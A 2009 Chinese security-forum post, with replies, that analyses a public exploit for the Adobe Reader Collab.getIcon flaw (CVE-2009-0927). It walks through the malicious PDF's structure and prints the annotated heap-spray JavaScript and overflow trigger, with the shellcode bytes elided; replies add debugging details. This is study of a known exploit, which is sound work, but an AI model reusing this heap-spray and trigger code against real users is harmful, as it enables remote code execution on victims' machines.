首页
社区
课程
招聘
[原创]完整剖析Acrobat Reader - Collab getIcon universal exploiter之路
发表于: 2009-9-27 09:41 11524

[原创]完整剖析Acrobat Reader - Collab getIcon universal exploiter之路

2009-9-27 09:41
11524

忙活了几天,今天才有空来写点东西。好了,废话不多说,开始。。。

无意中在看雪看见已经有位叫pandascu兄弟针对这个漏洞分析写了一篇文章:

http://bbs.pediy.com/showthread.php?t=98139

文章写的很详细,我就在他的基础上扩展扩展。(昨天本来上看雪想加他好友跟他交流交流,可能因为我太水他没有理我)

首先,说说从哪拔exploit,当然是让人又爱又恨的milw0rm:

http://www.milw0rm.com/exploits/9579

从上面可以下载到 2009-CVE-2009-0927_package.zip
里面有几个文件一个说明,一式两份(一份pdf,一份doc),还有两个源代码evil_payload.c,evil_pdf.py,然后就是exploit文件一个pdf和一个dll,说明里面有详细介绍怎么用这些文件

我懒就不编译了,用现成的exploit文件,即CVE-2009-0927_exploit.pdf,至于那个DLL是shellcode运行后生成的,是用来提取shellcode中相关函数的,这个就不具体说了后面另开写shellcode的文章来说他的作用。

下面正式开始了,文章分4个部分来写:1.PDF文件格式;2.JavaScript脚本分析;3.调试;4.利用(exploit)

1.PDF文件格式

用ue打开pdf文件,直接就可以看到pdf文件的结构,这个文件构造的很简单,看来写这个exploit的大侠对pdf文件格式很是了解啊!(要不然怎么挖漏洞)。

这里我也就简单说下pdf的文件格式:

要点一:PDF文件是一种文本和二进制混排的格式,但是Adobe更愿意让人把它当成二进制的文件,所以在里面建议当文件里面的文本太多的时候,可以加一些二进制的注释,好让现有的一些编译器把它当成二进制文件。里面的文本主要是对文件结构的一种描述,二进制的内容来自于三个方面:1、图片;2、字体;3、压缩后的Post Script。
要点二:文件结构可以分为三方面:
1、首部。用文本编辑器打开的时候就可以看到:%PDF-1.4 这样的字眼,其中最后一位就是PDF文件格式版本号,软件的版本号总要比文件格式的版本号高1,比如说Read 5能打开的内容就是4。
2、文件体。里面有若干个的obj,以及xref来组成,OBJ这种形式。

3、文件尾。没有什么好说的。

下面我就这个exploit文件来具体解释下:

%PDF-1.1   //这一句也就是pdf的文件头 标示版本号1.1

//下面就是一堆object了

1 0 obj    //1标示这个obj的序号用于在,0是用来标示不同的obj现在已经不管了都是0,obj是关键字
<<                               //从这里开始各行就是obj的属性了 以“/关键字 值”的形式来出现
/Type /Catalog           //额。。。说了这个obj的类型是目录catalog
/Outlines 2 0 R          //这个说了,第二个obj是outlines
/Pages 3 0 R             //这个就不解释了 因为。。。。
/OpenAction 7 0 R    //因为我们看中的是这个 说了/OpenAction 在第7个obj
>>
endobj                       //这个obj完结了

//通过上面这个目录我们看到了最重要的东西/OpenAction 在第七个其他可以忽略了直接去第七个看看,我认为的/OpenAction意思应该是打开PDF时的行为,这里就是挂接JavaScript插件的

7 0 obj
<<
/Type /Action
/S /JavaScript      //果然是啊,这才是真正的坏蛋,先不具体看它 把文件格式弄完再说
/JS (
var dll_payload ......

.......

app.doc.Collab.getIcon(buffer+'pwn3D.BYkralor');
)
>>
endobj

//该xref出场了,这个就是obj的索引表 它会告诉你每个obj的具体位置(学名交叉应用表)

xref
0 8
0000000000 65535 f 
0000000010 00000 n 
0000000098 00000 n 
0000000147 00000 n 
0000000208 00000 n 
0000000400 00000 n 
0000000549 00000 n 
0000000663 00000 n 
trailer                       //对整个xref的摘要,说明里面有多少个OBJ,读的时候从哪个OBJ开始解析,信息节点
<<
/Size 8                     // 说了 一共有8个xref 也跟上面的对应起来了

/Root 1 0 R             //这就是第一个节点为什么是目录的原因了
>>


startxref              //告诉你xref是从哪开始的 同时也是文件尾
127077               //就是从这里 注意:里面的数字都是10进制记得转换啊
%%EOF              //好了整个文件收尾了
var dll_payload = unescape("%u...");//这个不说了就是dll文件

var shellcode = unescape("% u 02 eb...");//shellcode 也不说了作用就是开个80口的shell

garbage = unescape("% u90 90% u 90 90");//填充的nop块用来跳转用 你也可以用inc 1 dec1之类的来代替

while (garbage.length < 0x100)
garbage += garbage;               //将garbage搞大,0x100那么大

garbage += shellcode + dll_payload;//将shellcode和dll连接到后面形成个大数据块

nopblock = unescape("% u90 90 %u 90 90"); //又一个nop块
headersize = 16;
acl = headersize + garbage.length; //加个16长的头

while (nopblock.length < acl)
nopblock += nopblock;        //把noplock扩大到前面的大数据块那么大

fillblock = nopblock.substring(0, acl);        //精确化大小一个filllock
block = nopblock.substring(0, nopblock.length - acl);
while(block.length + acl < 0x26000)
block = block + block + fillblock;

//总之上面都是在弄一个0x26000大小的nop块,自己可以精简代码

memory = new Array();

/* ~500MB standalone, ~1GB firefox/IE */
for (i=0;i<1024;i++)
memory[i] = block + garbage;       //这几句是关键,就是堆喷射了 喷多大? 1024*(0x2600+acl)

//JavaScript到这一句,在内存中已经把shellcode和nop块在堆中喷射好了,下面在buff中添地址的时候随便找个有喷射nop的地方就可以了

var buffer = unescape("%10%10%10%1f");//就是这个可以根据调试的具体情况换换

while(buffer.length < 0x6000)
buffer += buffer;                 //又是申请一个地址块,看你怎么跑出手掌心

app.doc.Collab.getIcon(buffer+'pwn3D.BYkralor');

//这里就是关键点了,调用有漏洞的函数getIcon,给他传个buff,长度是0x6000+'pwn3D.BYkralor'.length


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
  • 1.JPG (88.23kb,973次下载)
  • 2.JPG (12.51kb,960次下载)
收藏
免费 7
支持
分享
最新回复 (13)
雪    币: 5
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习下,谢谢分享了
2009-9-27 09:51
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
学习了一下,先静态定位,再动态调试

希望下次出0day我能调一个出来
2009-9-27 10:15
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
4
exploit is always my pain
2009-9-27 10:23
0
雪    币: 218
活跃值: (11)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
5
今天白天一天网速都很慢,开个网页都让人崩溃。
看到兄弟的文章都这么晚了,来顶一个;我这方面刚入门的说。希望共同进步
2009-9-27 23:01
0
雪    币: 339
活跃值: (29)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
思路清晰。
期待多一些PDF格式,PDF分析,SWF分析总结性方法探索的文章。
2009-9-29 10:07
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
7
这两天PDF又爆0DAY了 顶上来 大家看看 ~
2009-10-12 16:27
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
8
Support
2009-10-12 16:50
0
雪    币: 134
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
非常不错的说
2009-10-12 22:05
0
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
10
很好的东西,顶起再看!
2009-10-27 23:08
0
雪    币: 146
活跃值: (92)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
把annots.api丢到IDA中,让他先闪一会

然后找到getIcon函数的位置了,这里我没有弄明白怎么能够准确找到位置,IDA不会用,哪个大虾指点我下。。。

用OD载入POC的时候看一下栈区的返回地址
0012D294   78180680  MSVCR80.strncpy
0012D298   2211D2D6  返回到 Annots.2211D2D6
地址可能不同(和版本有关)

'pwn3D.BYkralor'.length
后面这几个字符貌似是作者自己的广告

嘿嘿,'BYkralor'这个是广告,''pwn3D.'Lz可以去跟一下,如果要利用这个漏洞,这个是不能忽略的。
2009-10-31 12:55
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
12
等了好久终于有人来指点了 谢谢~~
2009-11-1 09:08
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
d顶一个,看起来有点明白了,呵呵,
2009-11-2 08:56
0
雪    币: 58
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
好文章,看后一定要支持一下
2009-11-14 10:31
0
游客
登录 | 注册 方可回帖
返回
//